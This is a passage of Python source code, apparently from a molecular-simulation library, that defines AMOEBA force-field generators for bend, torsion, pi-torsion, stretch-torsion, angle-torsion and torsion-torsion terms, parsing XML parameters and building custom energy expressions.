opbend-pentic=\"-7e-07\" opbend-sextic=\"2.2e-08\">\n        #   <Angle class1=\"2\" class2=\"1\" class3=\"0\" class4=\"0\" k=\"0.0531474541591\"/>\n        #   <Angle class1=\"3\" class2=\"1\" class3=\"0\" class4=\"0\" k=\"0.0898536095496\"/>\n\n        # get global scalar parameters\n\n        existing = [f for f in forceField._forces if isinstance(f, AmoebaOutOfPlaneBendGenerator)]\n        if len(existing) == 0:\n            generator = AmoebaOutOfPlaneBendGenerator(forceField, element.attrib['type'], element.attrib['opbend-cubic'], element.attrib['opbend-quartic'],  element.attrib['opbend-pentic'], element.attrib['opbend-sextic'])\n            forceField.registerGenerator(generator)\n        else:\n            generator = existing[0]\n            if tuple(element.attrib[x] for x in ('type', 'opbend-cubic', 'opbend-quartic', 'opbend-pentic', 'opbend-sextic')) != (generator.type, generator.cubic, generator.quartic, generator.pentic, generator.sextic):\n                raise ValueError('All <AmoebaOutOfPlaneBendForce> tags must use identical scale factors')\n\n        for angle in element.findall('Angle'):\n            if 'class3' in angle.attrib and 'class4' in angle.attrib and angle.attrib['class3'] == '0' and angle.attrib['class4'] == '0':\n                # This is needed for backward compatibility with old AMOEBA force fields that specified wildcards in a nonstandard way.\n                angle.attrib['class3'] = ''\n                angle.attrib['class4'] = ''\n            types = generator.findAtomTypes(forceField, angle, 4)\n            if types is not None:\n\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.types3.append(types[2])\n                generator.types4.append(types[3])\n\n                generator.ks.append(float(angle.attrib['k']))\n\n            else:\n                outputString = \"AmoebaOutOfPlaneBendGenerator error getting types: %s %s %s %s.\" % (\n                               angle.attrib['class1'], angle.attrib['class2'], angle.attrib['class3'], angle.attrib['class4'])\n                raise ValueError(outputString)\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        self._nonbondedMethod = nonbondedMethod\n        self._nonbondedCutoff = nonbondedCutoff\n\n    def postprocessSystem(self, sys, data, args):\n        # We need to wait until after all bonds have been added so their lengths will be set correctly.\n\n        energy = \"\"\"k*(theta^2 + %s*theta^3 + %s*theta^4 + %s*theta^5 + %s*theta^6);\n                    theta = %.15g*pointangle(x2, y2, z2, x4, y4, z4, projx, projy, projz);\n                    projx = x2-nx*dot; projy = y2-ny*dot; projz = z2-nz*dot;\n                    dot = nx*(x2-x3) + ny*(y2-y3) + nz*(z2-z3);\n                    nx = px/norm; ny = py/norm; nz = pz/norm;\n                    norm = sqrt(px*px + py*py + pz*pz);\n                    px = (d1y*d2z-d1z*d2y); py = (d1z*d2x-d1x*d2z); pz = (d1x*d2y-d1y*d2x);\n                    d1x = x1-x4; d1y = y1-y4; d1z = z1-z4;\n                    d2x = x3-x4; d2y = y3-y4; d2z = z3-z4\"\"\" % (self.cubic, self.quartic, self.pentic, self.sextic, 180/math.pi)\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomCompoundBondForce and f.getEnergyFunction() == energy]\n        if len(existing) == 0:\n            force = mm.CustomCompoundBondForce(4, energy)\n            force.addPerBondParameter(\"k\")\n            force.setName('AmoebaOutOfPlaneBend')\n        else:\n            force = existing[0]\n\n        # this hash is used to ensure the out-of-plane-bend bonds\n        # are only added once\n\n        skipAtoms = dict()\n        angles = []\n\n        def addBond(particles):\n            types = [data.atomType[data.atoms[p]] for p in particles]\n            for i in range(len(self.types1)):\n                if types[1] in self.types2[i] and types[3] in self.types1[i]:\n                    if (types[0] in self.types3[i] and types[2] in self.types4[i]) or (types[2] in self.types3[i] and types[0] in self.types4[i]):\n                        force.addBond(particles, [self.ks[i]])\n                        return\n\n        for (angle, isConstrained) in zip(data.angles, data.isAngleConstrained):\n\n            middleAtom = angle[1]\n            middleType = data.atomType[data.atoms[middleAtom]]\n            middleCovalency = len(data.atomBonds[middleAtom])\n\n            # if middle atom has covalency of 3 and\n            # the types of the middle atom and the partner atom (atom bonded to\n            # middle atom, but not in angle) match types1 and types2, then\n            # three out-of-plane bend angles are generated. Three in-plane angle\n            # are also generated. If the conditions are not satisfied, the angle is marked as 'generic' angle (not a in-plane angle)\n\n            if middleCovalency == 3 and middleAtom not in skipAtoms:\n\n                partners = []\n\n                for bond in data.atomBonds[middleAtom]:\n                    atom1 = data.bonds[bond].atom1\n                    atom2 = data.bonds[bond].atom2\n                    if atom1 != middleAtom:\n                        partner = atom1\n                    else:\n                        partner = atom2\n\n                    partnerType = data.atomType[data.atoms[partner]]\n                    for i in range(len(self.types1)):\n                        types1 = self.types1[i]\n                        types2 = self.types2[i]\n                        if middleType in types2 and partnerType in types1:\n                            partners.append(partner)\n                            break\n\n                if len(partners) == 3:\n\n                    addBond([partners[0], middleAtom, partners[1], partners[2]])\n                    addBond([partners[2], middleAtom, partners[0], partners[1]])\n                    addBond([partners[1], middleAtom, partners[2], partners[0]])\n\n                    # skipAtoms is used to ensure angles are only included once\n\n                    skipAtoms[middleAtom] = set(partners[:3])\n\n                    # in-plane angle\n\n                    angleDict = {}\n                    angleList = list(angle[:3])\n                    for atomIndex in partners:\n                        if atomIndex not in angleList:\n                            angleList.append(atomIndex)\n                    angleDict['angle'] = angleList\n                    angleDict['isConstrained'] = 0\n                    angleDict['inPlane'] = True\n                    angles.append(angleDict)\n\n                else:\n                    angleDict = {}\n                    angleList = list(angle[:3])\n                    for atomIndex in partners:\n                        if atomIndex not in angleList:\n                            angleList.append(atomIndex)\n                    angleDict['angle'] = angleList\n                    angleDict['isConstrained'] = isConstrained\n                    angleDict['inPlane'] = False\n                    angles.append(angleDict)\n            elif middleCovalency == 3 and middleAtom in skipAtoms:\n\n                angleDict = {}\n                angleList = list(angle[:3])\n                for atomIndex in skipAtoms[middleAtom]:\n                    if atomIndex not in angleList:\n                        angleList.append(atomIndex)\n                angleDict['angle'] = angleList\n                angleDict['isConstrained'] = isConstrained\n                angleDict['inPlane'] = True\n                angles.append(angleDict)\n\n            else:\n                angleDict = {}\n                angleDict['angle'] = angle\n                angleDict['isConstrained'] = isConstrained\n                angleDict['inPlane'] = False\n                angles.append(angleDict)\n\n        if len(existing) == 0 and force.getNumBonds() > 0:\n            sys.addForce(force)\n\n        # get AmoebaAngleGenerator and add AmoebaAngle and AmoebaInPlaneAngle forces\n\n        for force in self.forceField._forces:\n            if (force.__class__.__name__ == 'AmoebaAngleGenerator'):\n                force.createForcePostOpBendAngle(sys, data, self._nonbondedMethod, self._nonbondedCutoff, angles, args)\n                force.createForcePostOpBendInPlaneAngle(sys, data, self._nonbondedMethod, self._nonbondedCutoff, angles, args)\n\n        for force in self.forceField._forces:\n            if (force.__class__.__name__ == 'AmoebaStretchBendGenerator'):\n                force.createForcePostAmoebaBondForce(sys, data, self._nonbondedMethod, self._nonbondedCutoff, angles, args)\n\nparsers[\"AmoebaOutOfPlaneBendForce\"] = AmoebaOutOfPlaneBendGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaTorsionGenerator(object):\n\n    #=============================================================================================\n    \"\"\"An AmoebaTorsionGenerator constructs a AmoebaTorsionForce.\"\"\"\n    #=============================================================================================\n\n    def __init__(self, torsionUnit):\n\n        self.torsionUnit = torsionUnit\n\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n        self.types4 = []\n\n        self.t1 = []\n        self.t2 = []\n        self.t3 = []\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        #  <AmoebaTorsionForce torsionUnit=\"0.5\">\n        #   <Torsion class1=\"3\" class2=\"1\" class3=\"2\" class4=\"3\"   amp1=\"0.0\" angle1=\"0.0\"   amp2=\"0.0\" angle2=\"3.14159265359\"   amp3=\"0.0\" angle3=\"0.0\" />\n        #   <Torsion class1=\"3\" class2=\"1\" class3=\"2\" class4=\"6\"   amp1=\"0.0\" angle1=\"0.0\"   amp2=\"0.0\" angle2=\"3.14159265359\"   amp3=\"-0.263592\" angle3=\"0.0\" />\n\n        generator = AmoebaTorsionGenerator(float(element.attrib['torsionUnit']))\n        forceField._forces.append(generator)\n\n        # collect particle classes and t1,t2,t3,\n        # where ti=[amplitude_i,angle_i]\n\n        for torsion in element.findall('Torsion'):\n            types = forceField._findAtomTypes(torsion.attrib, 4)\n            if None not in types:\n\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.types3.append(types[2])\n                generator.types4.append(types[3])\n\n                for ii in range(1,4):\n                    tInfo = []\n                    suffix = str(ii)\n                    ampName = 'amp' + suffix\n                    tInfo.append(float(torsion.attrib[ampName]))\n\n                    angName = 'angle' + suffix\n                    tInfo.append(float(torsion.attrib[angName]))\n\n                    if (ii == 1):\n                        generator.t1.append(tInfo)\n                    elif (ii == 2):\n                        generator.t2.append(tInfo)\n                    elif (ii == 3):\n                        generator.t3.append(tInfo)\n\n            else:\n                outputString = \"AmoebaTorsionGenerator: error getting types: %s %s %s %s\" % (\n                                    torsion.attrib['class1'],\n                                    torsion.attrib['class2'],\n                                    torsion.attrib['class3'],\n                                    torsion.attrib['class4'])\n                raise ValueError(outputString)\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nontorsionedMethod, nontorsionedCutoff, args):\n\n        existing = [f for f in sys.getForces() if type(f) == mm.PeriodicTorsionForce]\n        if len(existing) == 0:\n            force = mm.PeriodicTorsionForce()\n            sys.addForce(force)\n        else:\n            force = existing[0]\n\n        for torsion in data.propers:\n\n            type1 = data.atomType[data.atoms[torsion[0]]]\n            type2 = data.atomType[data.atoms[torsion[1]]]\n            type3 = data.atomType[data.atoms[torsion[2]]]\n            type4 = data.atomType[data.atoms[torsion[3]]]\n\n            for i in range(len(self.types1)):\n\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                types3 = self.types3[i]\n                types4 = self.types4[i]\n\n                # match types in forward or reverse direction\n\n                if (type1 in types1 and type2 in types2 and type3 in types3 and type4 in types4) or (type4 in types1 and type3 in types2 and type2 in types3 and type1 in types4):\n                    if self.t1[i][0] != 0:\n                        force.addTorsion(torsion[0], torsion[1], torsion[2], torsion[3], 1, self.t1[i][1], self.t1[i][0])\n                    if self.t2[i][0] != 0:\n                        force.addTorsion(torsion[0], torsion[1], torsion[2], torsion[3], 2, self.t2[i][1], self.t2[i][0])\n                    if self.t3[i][0] != 0:\n                        force.addTorsion(torsion[0], torsion[1], torsion[2], torsion[3], 3, self.t3[i][1], self.t3[i][0])\n                    break\n\nparsers[\"AmoebaTorsionForce\"] = AmoebaTorsionGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaPiTorsionGenerator(object):\n\n    #=============================================================================================\n\n    \"\"\"An AmoebaPiTorsionGenerator constructs a AmoebaPiTorsionForce.\"\"\"\n\n    #=============================================================================================\n\n    def __init__(self, piTorsionUnit):\n        self.piTorsionUnit = piTorsionUnit\n        self.types1 = []\n        self.types2 = []\n        self.k = []\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        #  <AmoebaPiTorsionForce piTorsionUnit=\"1.0\">\n        #   <PiTorsion class1=\"1\" class2=\"3\" k=\"28.6604\" />\n\n        generator = AmoebaPiTorsionGenerator(float(element.attrib['piTorsionUnit']))\n        forceField._forces.append(generator)\n\n        for piTorsion in element.findall('PiTorsion'):\n            types = forceField._findAtomTypes(piTorsion.attrib, 2)\n            if None not in types:\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.k.append(float(piTorsion.attrib['k']))\n            else:\n                outputString = \"AmoebaPiTorsionGenerator: error getting types: %s %s \" % (\n                                    piTorsion.attrib['class1'],\n                                    piTorsion.attrib['class2'])\n                raise ValueError(outputString)\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n\n        energy = \"\"\"2*k*sin(phi)^2;\n                    phi = pointdihedral(x3+c1x, y3+c1y, z3+c1z, x3, y3, z3, x4, y4, z4, x4+c2x, y4+c2y, z4+c2z);\n                    c1x = (d14y*d24z-d14z*d24y); c1y = (d14z*d24x-d14x*d24z); c1z = (d14x*d24y-d14y*d24x);\n                    c2x = (d53y*d63z-d53z*d63y); c2y = (d53z*d63x-d53x*d63z); c2z = (d53x*d63y-d53y*d63x);\n                    d14x = x1-x4; d14y = y1-y4; d14z = z1-z4;\n                    d24x = x2-x4; d24y = y2-y4; d24z = z2-z4;\n                    d53x = x5-x3; d53y = y5-y3; d53z = z5-z3;\n                    d63x = x6-x3; d63y = y6-y3; d63z = z6-z3\"\"\"\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomCompoundBondForce and f.getEnergyFunction() == energy]\n\n        if len(existing) == 0:\n            force = mm.CustomCompoundBondForce(6, energy)\n            force.addPerBondParameter('k')\n            force.setName('AmoebaPiTorsion')\n        else:\n            force = existing[0]\n\n        for bond1 in data.bonds:\n\n            # search for bonds with both atoms in bond having covalency == 3\n\n            atom1 = bond1.atom1\n            atom2 = bond1.atom2\n\n            if (len(data.atomBonds[atom1]) == 3 and len(data.atomBonds[atom2]) == 3):\n\n                type1 = data.atomType[data.atoms[atom1]]\n                type2 = data.atomType[data.atoms[atom2]]\n\n                for i in range(len(self.types1)):\n\n                   types1 = self.types1[i]\n                   types2 = self.types2[i]\n\n                   if (type1 in types1 and type2 in types2) or (type1 in types2 and type2 in types1):\n\n                       # piTorsionAtom1, piTorsionAtom2 are the atoms bonded to atom1, excluding atom2\n                       # piTorsionAtom5, piTorsionAtom6 are the atoms bonded to atom2, excluding atom1\n\n                       piTorsionAtom1 = -1\n                       piTorsionAtom2 = -1\n                       piTorsionAtom3 = atom1\n\n                       piTorsionAtom4 = atom2\n                       piTorsionAtom5 = -1\n                       piTorsionAtom6 = -1\n\n                       for bond in data.atomBonds[atom1]:\n                           bondedAtom1 = data.bonds[bond].atom1\n                           bondedAtom2 = data.bonds[bond].atom2\n                           if (bondedAtom1 != atom1):\n                               b1 = bondedAtom1\n                           else:\n                               b1 = bondedAtom2\n                           if (b1 != atom2):\n                               if (piTorsionAtom1 == -1):\n                                   piTorsionAtom1 = b1\n                               else:\n                                   piTorsionAtom2 = b1\n\n                       for bond in data.atomBonds[atom2]:\n                           bondedAtom1 = data.bonds[bond].atom1\n                           bondedAtom2 = data.bonds[bond].atom2\n                           if (bondedAtom1 != atom2):\n                               b1 = bondedAtom1\n                           else:\n                               b1 = bondedAtom2\n\n                           if (b1 != atom1):\n                               if (piTorsionAtom5 == -1):\n                                   piTorsionAtom5 = b1\n                               else:\n                                   piTorsionAtom6 = b1\n\n                       force.addBond([piTorsionAtom1, piTorsionAtom2, piTorsionAtom3, piTorsionAtom4, piTorsionAtom5, piTorsionAtom6], [self.k[i]])\n        if len(existing) == 0 and force.getNumBonds() > 0:\n            sys.addForce(force)\n\nparsers[\"AmoebaPiTorsionForce\"] = AmoebaPiTorsionGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaStretchTorsionGenerator(object):\n    \"\"\"An AmoebaStretchTorsionGenerator constructs a AmoebaStretchTorsionForce.\"\"\"\n\n    def __init__(self):\n        self.torsions = []\n\n    @staticmethod\n    def parseElement(element, forceField):\n        generator = AmoebaStretchTorsionGenerator()\n        forceField._forces.append(generator)\n        params = ('v11', 'v12', 'v13', 'v21', 'v22', 'v23', 'v31', 'v32', 'v33')\n        for torsion in element.findall('Torsion'):\n            types = forceField._findAtomTypes(torsion.attrib, 4)\n            if None not in types:\n                v = [float(torsion.attrib[param]) for param in params]\n                generator.torsions.append((types, v))\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        pass\n\n    def postprocessSystem(self, sys, data, args):\n        # We need to wait until after all bonds and torsions have been added before adding the stretch-torsions,\n        # since it needs parameters from them.\n\n        energy = \"\"\"v11*(distance(p1,p2)-length1)*phi1 +\n                    v12*(distance(p1,p2)-length1)*phi2 +\n                    v13*(distance(p1,p2)-length1)*phi3 +\n                    v21*(distance(p2,p3)-length2)*phi1 +\n                    v22*(distance(p2,p3)-length2)*phi2 +\n                    v23*(distance(p2,p3)-length2)*phi3 +\n                    v31*(distance(p3,p4)-length3)*phi1 +\n                    v32*(distance(p3,p4)-length3)*phi2 +\n                    v33*(distance(p3,p4)-length3)*phi3;\n                    phi1=1+cos(phi+phase1); phi2=1+cos(2*phi+phase2); phi3=1+cos(3*phi+phase3);\n                    phi=dihedral(p1,p2,p3,p4)\"\"\"\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomCompoundBondForce and f.getEnergyFunction() == energy]\n        if len(existing) == 0:\n            force = mm.CustomCompoundBondForce(4, energy)\n            for param in ('v11', 'v12', 'v13', 'v21', 'v22', 'v23', 'v31', 'v32', 'v33'):\n                force.addPerBondParameter(param)\n            for i in range(3):\n                force.addPerBondParameter(f'length{i+1}')\n            for i in range(3):\n                force.addPerBondParameter(f'phase{i+1}')\n            force.setName('AmoebaStretchTorsion')\n        else:\n            force = existing[0]\n\n        # Record parameters for bonds and torsions so we can look them up quickly.\n\n        bondForce = [f for f in sys.getForces() if type(f) == mm.CustomBondForce and f.getName() == 'AmoebaBond'][0]\n        torsionForce = [f for f in sys.getForces() if type(f) == mm.PeriodicTorsionForce][0]\n        bondLength = {}\n        torsionPhase = defaultdict(lambda: [0.0, math.pi, 0.0])\n        for i in range(bondForce.getNumBonds()):\n            p1, p2, params = bondForce.getBondParameters(i)\n            bondLength[(p1, p2)] = params[0]\n            bondLength[(p2, p1)] = params[0]\n        for i in range(torsionForce.getNumTorsions()):\n            p1, p2, p3, p4, periodicity, phase, k = torsionForce.getTorsionParameters(i)\n            if periodicity < 4:\n                phase = phase.value_in_unit(unit.radian)\n                torsionPhase[(p1, p2, p3, p4)][periodicity-1] = phase\n                torsionPhase[(p4, p3, p2, p1)][periodicity-1] = phase\n\n        # Add stretch-torsions.\n\n        for torsion in data.propers:\n            type1 = data.atomType[data.atoms[torsion[0]]]\n            type2 = data.atomType[data.atoms[torsion[1]]]\n            type3 = data.atomType[data.atoms[torsion[2]]]\n            type4 = data.atomType[data.atoms[torsion[3]]]\n            for types, v in self.torsions:\n                if (type1 in types[3] and type2 in types[2] and type3 in types[1] and type4 in types[0]):\n                    type1, type2, type3, type4 = type4, type3, type2, type1\n                    torsion = tuple(reversed(torsion))\n                if (type1 in types[0] and type2 in types[1] and type3 in types[2] and type4 in types[3]):\n                    params = list(v)\n                    params.append(bondLength[(torsion[0], torsion[1])])\n                    params.append(bondLength[(torsion[1], torsion[2])])\n                    params.append(bondLength[(torsion[2], torsion[3])])\n                    params += torsionPhase[torsion]\n                    force.addBond(torsion, params)\n                    break\n        if len(existing) == 0 and force.getNumBonds() > 0:\n            sys.addForce(force)\n\nparsers[\"AmoebaStretchTorsionForce\"] = AmoebaStretchTorsionGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaAngleTorsionGenerator(object):\n    \"\"\"An AmoebaAngleTorsionGenerator constructs a AmoebaAngleTorsionForce.\"\"\"\n\n    def __init__(self):\n        self.torsions = []\n\n    @staticmethod\n    def parseElement(element, forceField):\n        generator = AmoebaAngleTorsionGenerator()\n        forceField._forces.append(generator)\n        params = ('v11', 'v12', 'v13', 'v21', 'v22', 'v23')\n        for torsion in element.findall('Torsion'):\n            types = forceField._findAtomTypes(torsion.attrib, 4)\n            if None not in types:\n                v = [float(torsion.attrib[param]) for param in params]\n                generator.torsions.append((types, v))\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        pass\n\n    def postprocessSystem(self, sys, data, args):\n        # We need to wait until after all angles and torsions have been added before adding the angle-torsions,\n        # since it needs parameters from them.\n\n        energy = \"\"\"v11*(angle(p1,p2,p3)-angle1)*phi1 +\n                    v12*(angle(p1,p2,p3)-angle1)*phi2 +\n                    v13*(angle(p1,p2,p3)-angle1)*phi3 +\n                    v21*(angle(p2,p3,p4)-angle2)*phi1 +\n                    v22*(angle(p2,p3,p4)-angle2)*phi2 +\n                    v23*(angle(p2,p3,p4)-angle2)*phi3;\n                    phi1=1+cos(phi+phase1); phi2=1+cos(2*phi+phase2); phi3=1+cos(3*phi+phase3);\n                    phi=dihedral(p1,p2,p3,p4)\"\"\"\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomCompoundBondForce and f.getEnergyFunction() == energy]\n        if len(existing) == 0:\n            force = mm.CustomCompoundBondForce(4, energy)\n            for param in ('v11', 'v12', 'v13', 'v21', 'v22', 'v23'):\n                force.addPerBondParameter(param)\n            for i in range(2):\n                force.addPerBondParameter(f'angle{i+1}')\n            for i in range(3):\n                force.addPerBondParameter(f'phase{i+1}')\n            force.setName('AmoebaAngleTorsion')\n        else:\n            force = existing[0]\n\n        # Record parameters for angles and torsions so we can look them up quickly.\n\n        angleForce = [f for f in sys.getForces() if type(f) == mm.CustomAngleForce and f.getName() == 'AmoebaAngle'][0]\n        inPlaneAngleForce = [f for f in sys.getForces() if type(f) == mm.CustomCompoundBondForce and f.getName() == 'AmoebaInPlaneAngle'][0]\n        torsionForce = [f for f in sys.getForces() if type(f) == mm.PeriodicTorsionForce][0]\n        equilAngle = {}\n        torsionPhase = defaultdict(lambda: [0.0, math.pi, 0.0])\n        angleScale = math.pi/180\n        for i in range(angleForce.getNumAngles()):\n            p1, p2, p3, params = angleForce.getAngleParameters(i)\n            equilAngle[(p1, p2, p3)] = params[0]*angleScale\n            equilAngle[(p3, p2, p1)] = params[0]*angleScale\n        for i in range(inPlaneAngleForce.getNumBonds()):\n            particles, params = inPlaneAngleForce.getBondParameters(i)\n            equilAngle[tuple(particles[:3])] = params[0]*angleScale\n            equilAngle[tuple(reversed(particles[:3]))] = params[0]*angleScale\n        for i in range(torsionForce.getNumTorsions()):\n            p1, p2, p3, p4, periodicity, phase, k = torsionForce.getTorsionParameters(i)\n            if periodicity < 4:\n                phase = phase.value_in_unit(unit.radian)\n                torsionPhase[(p1, p2, p3, p4)][periodicity-1] = phase\n                torsionPhase[(p4, p3, p2, p1)][periodicity-1] = phase\n\n        # Add stretch-torsions.\n\n        for torsion in data.propers:\n            type1 = data.atomType[data.atoms[torsion[0]]]\n            type2 = data.atomType[data.atoms[torsion[1]]]\n            type3 = data.atomType[data.atoms[torsion[2]]]\n            type4 = data.atomType[data.atoms[torsion[3]]]\n            for types, v in self.torsions:\n                if (type1 in types[3] and type2 in types[2] and type3 in types[1] and type4 in types[0]):\n                    type1, type2, type3, type4 = type4, type3, type2, type1\n                    torsion = tuple(reversed(torsion))\n                if (type1 in types[0] and type2 in types[1] and type3 in types[2] and type4 in types[3]):\n                    params = list(v)\n                    params.append(equilAngle[(torsion[0], torsion[1], torsion[2])])\n                    params.append(equilAngle[(torsion[1], torsion[2], torsion[3])])\n                    params += torsionPhase[torsion]\n                    force.addBond(torsion, params)\n                    break\n        if len(existing) == 0 and force.getNumBonds() > 0:\n            sys.addForce(force)\n\nparsers[\"AmoebaAngleTorsionForce\"] = AmoebaAngleTorsionGenerator.parseElement\n\n#=============================================================================================\n\n## @private\nclass AmoebaTorsionTorsionGenerator(object):\n\n    #=============================================================================================\n    \"\"\"An AmoebaTorsionTorsionGenerator constructs a AmoebaTorsionTorsionForce.\"\"\"\n    #=============================================================================================\n\n    def __init__(self):\n\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n        self.types4 = []\n        self.types5 = []\n\n        self.gridIndex = []\n\n        self.grids = []\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        generator = AmoebaTorsionTorsionGenerator()\n        forceField._forces.append(generator)\n        maxGridIndex = -1\n\n        # <AmoebaTorsionTorsionForce >\n        # <TorsionTorsion class1=\"3\" class2=\"1\" class3=\"2\" class4=\"3\" class5=\"1\" grid=\"0\" nx=\"25\" ny=\"25\" />\n\n        for torsionTorsion in element.findall('TorsionTorsion'):\n            types = forceField._findAtomTypes(torsionTorsion.attrib, 5)\n            if None not in types:\n\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.types3.append(types[2])\n                generator.types4.append(types[3])\n                generator.types5.append(types[4])\n\n                gridIndex = int(torsionTorsion.attrib['grid'])\n                if (gridIndex > maxGridIndex):\n                    maxGridIndex = gridIndex\n\n                generator.gridIndex.append(gridIndex)\n            else:\n                outputString = \"AmoebaTorsionTorsionGenerator: error getting types: %s %s %s %s %s\" % (\n                                    torsionTorsion.attrib['class1'],\n                                    torsionTorsion.attrib['class2'],\n                                    torsionTorsion.attrib['class3'],\n                                    torsionTorsion.attrib['class4'],\n                                    torsionTorsion.attrib['class5'] )\n                raise ValueError(outputString)\n\n        # load grid\n\n        # xml source\n\n        # <TorsionTorsionGrid grid=\"0\" nx=\"25\" ny=\"25\" >\n        # <Grid angle1=\"-180.00\" angle2=\"-180.00\" f=\"0.0\" fx=\"2.31064374824e-05\" fy=\"0.0\" fxy=\"-0.0052801799672\" />\n        # <Grid angle1=\"-165.00\" angle2=\"-180.00\" f=\"-0.66600912\" fx=\"-0.06983370052\" fy=\"-0.075058725744\" fxy=\"-0.0044462732032\" />\n\n        # output grid:\n\n        #     grid[x][y][0] = x value\n        #     grid[x][y][1] = y value\n        #     grid[x][y][2] = function value\n        #     grid[x][y][3] = dfdx value\n        #     grid[x][y][4] = dfdy value\n        #     grid[x][y][5] = dfd(xy) value\n\n        maxGridIndex    += 1\n        generator.grids = maxGridIndex*[]\n        for torsionTorsionGrid in element.findall('TorsionTorsionGrid'):\n\n            gridIndex = int(torsionTorsionGrid.attrib[ \"grid\"])\n            nx = int(torsionTorsionGrid.attrib[ \"nx\"])\n            ny = int(torsionTorsionGrid.attrib[ \"ny\"])\n\n            grid = []\n            gridCol = []\n\n            gridColIndex = 0\n\n            for gridEntry in torsionTorsionGrid.findall('Grid'):\n\n                gridRow = []\n                gridRow.append(float(gridEntry.attrib['angle1']))\n                gridRow.append(float(gridEntry.attrib['angle2']))\n                gridRow.append(float(gridEntry.attrib['f']))\n                if 'fx' in gridEntry.attrib:\n                    gridRow.append(float(gridEntry.attrib['fx']))\n                    gridRow.append(float(gridEntry.attrib['fy']))\n                    gridRow.append(float(gridEntry.attrib['fxy']))\n                gridCol.append(gridRow)\n\n                gridColIndex  += 1\n                if (gridColIndex == nx):\n                    grid.append(gridCol)\n                    gridCol = []\n                    gridColIndex = 0\n\n\n            if (gridIndex == len(generator.grids)):\n                generator.grids.append(grid)\n            else:\n                while(len(generator.grids) < gridIndex):\n                    generator.grids.append([])\n                generator.grids[gridIndex] = grid\n\n    #=============================================================================================\n\n    def getChiralAtomIndex(self, data, sys, atomB, atomC, atomD):\n\n        chiralAtomIndex = -1\n\n        # if atomC has four bonds, find the\n        # two bonds that do not include atomB and atomD\n        # set chiralAtomIndex to one of these, if they are\n        # not the same atom(type/mass)\n\n        if (len(data.atomBonds[atomC]) == 4):\n            atomE = -1\n            atomF = -1\n            for bond in data.atomBonds[atomC]:\n                bondedAtom1 = data.bonds[bond].atom1\n                bondedAtom2 = data.bonds[bond].atom2\n                hit = -1\n                if (  bondedAtom1 == atomC and bondedAtom2 != atomB and bondedAtom2 != atomD):\n                    hit = bondedAtom2\n                elif (bondedAtom2 == atomC and bondedAtom1 != atomB and bondedAtom1 != atomD):\n                    hit = bondedAtom1\n\n                if (hit > -1):\n                    if (atomE == -1):\n                        atomE = hit\n                    else:\n                        atomF = hit\n\n            # raise error if atoms E or F not found\n\n            if (atomE == -1 or atomF == -1):\n                outputString = \"getChiralAtomIndex: error getting bonded partners of atomC=%s %d %s\" % (atomC.name, atomC.residue.index, atomC.residue.name,)\n                raise ValueError(outputString)\n\n            # check for different type/mass between atoms E & F\n\n            typeE = int(data.atomType[data.atoms[atomE]])\n            typeF = int(data.atomType[data.atoms[atomF]])\n            if (typeE > typeF):\n                chiralAtomIndex = atomE\n            if (typeF > typeE):\n                chiralAtomIndex = atomF\n\n            massE = sys.getParticleMass(atomE)/unit.dalton\n            massF = sys.getParticleMass(atomE)/unit.dalton\n            if (massE > massF):\n                chiralAtomIndex = massE\n            if (massF > massE):\n                chiralAtomIndex = massF\n\n        return chiralAtomIndex\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonpiTorsionedMethod, nonpiTorsionedCutoff, args):\n\n        existing = [f for f in sys.getForces() if type(f) == mm.AmoebaTorsionTorsionForce]\n\n        if len(existing) == 0:\n            force = mm.AmoebaTorsionTorsionForce()\n        else:\n            force = existing[0]\n\n        for angle in data.angles:\n\n            # search for bitorsions; based on TINKER subroutine bitors()\n\n            ib = angle[0]\n            ic = angle[1]\n            id = angle[2]\n\n            for bondIndex in data.atomBonds[ib]:\n                bondedAtom1 = data.bonds[bondIndex].atom1\n                bondedAtom2 = data.bonds[bondIndex].atom2\n                if (bondedAtom1 != ib):\n                    ia = bondedAtom1\n                else:\n                    ia = bondedAtom2\n\n                if (ia != ic and ia != id):\n                    for bondIndex2 in data.atomBonds[id]:\n                        bondedAtom1 = data.bonds[bondIndex2].atom1\n                        bondedAtom2 = data.bonds[bondIndex2].atom2\n                        if (bondedAtom1 != id):\n                            ie = bondedAtom1\n                        else:\n                            ie = bondedAtom2\n\n                        if (ie != ic and ie != ib and ie != ia):\n\n                            # found candidate set of atoms\n                            # check if types match in order or reverse order\n\n                            type1 = data.atomType[data.atoms[ia]]\n                            type2 = data.atomType[data.atoms[ib]]\n                            type3 = data.atomType[data.atoms[ic]]\n                            type4 = data.atomType[data.atoms[id]]\n                            type5 = data.atomType[data.atoms[ie]]\n\n                            for i in range(len(self.types1)):\n\n                                types1 = self.types1[i]\n                                types2 = self.types2[i]\n                                types3 = self.types3[i]\n                                types4 = self.types4[i]\n                                types5 = self.types5[i]\n\n                                # match in order\n\n                                if (type1 in types1 and type2 in types2 and type3 in types3 and type4 in types4 and type5 in types5):\n                                    chiralAtomIndex = self.getChiralAtomIndex(data, sys, ib, ic, id)\n                                    force.addTorsionTorsion(ia, ib, ic, id, ie, 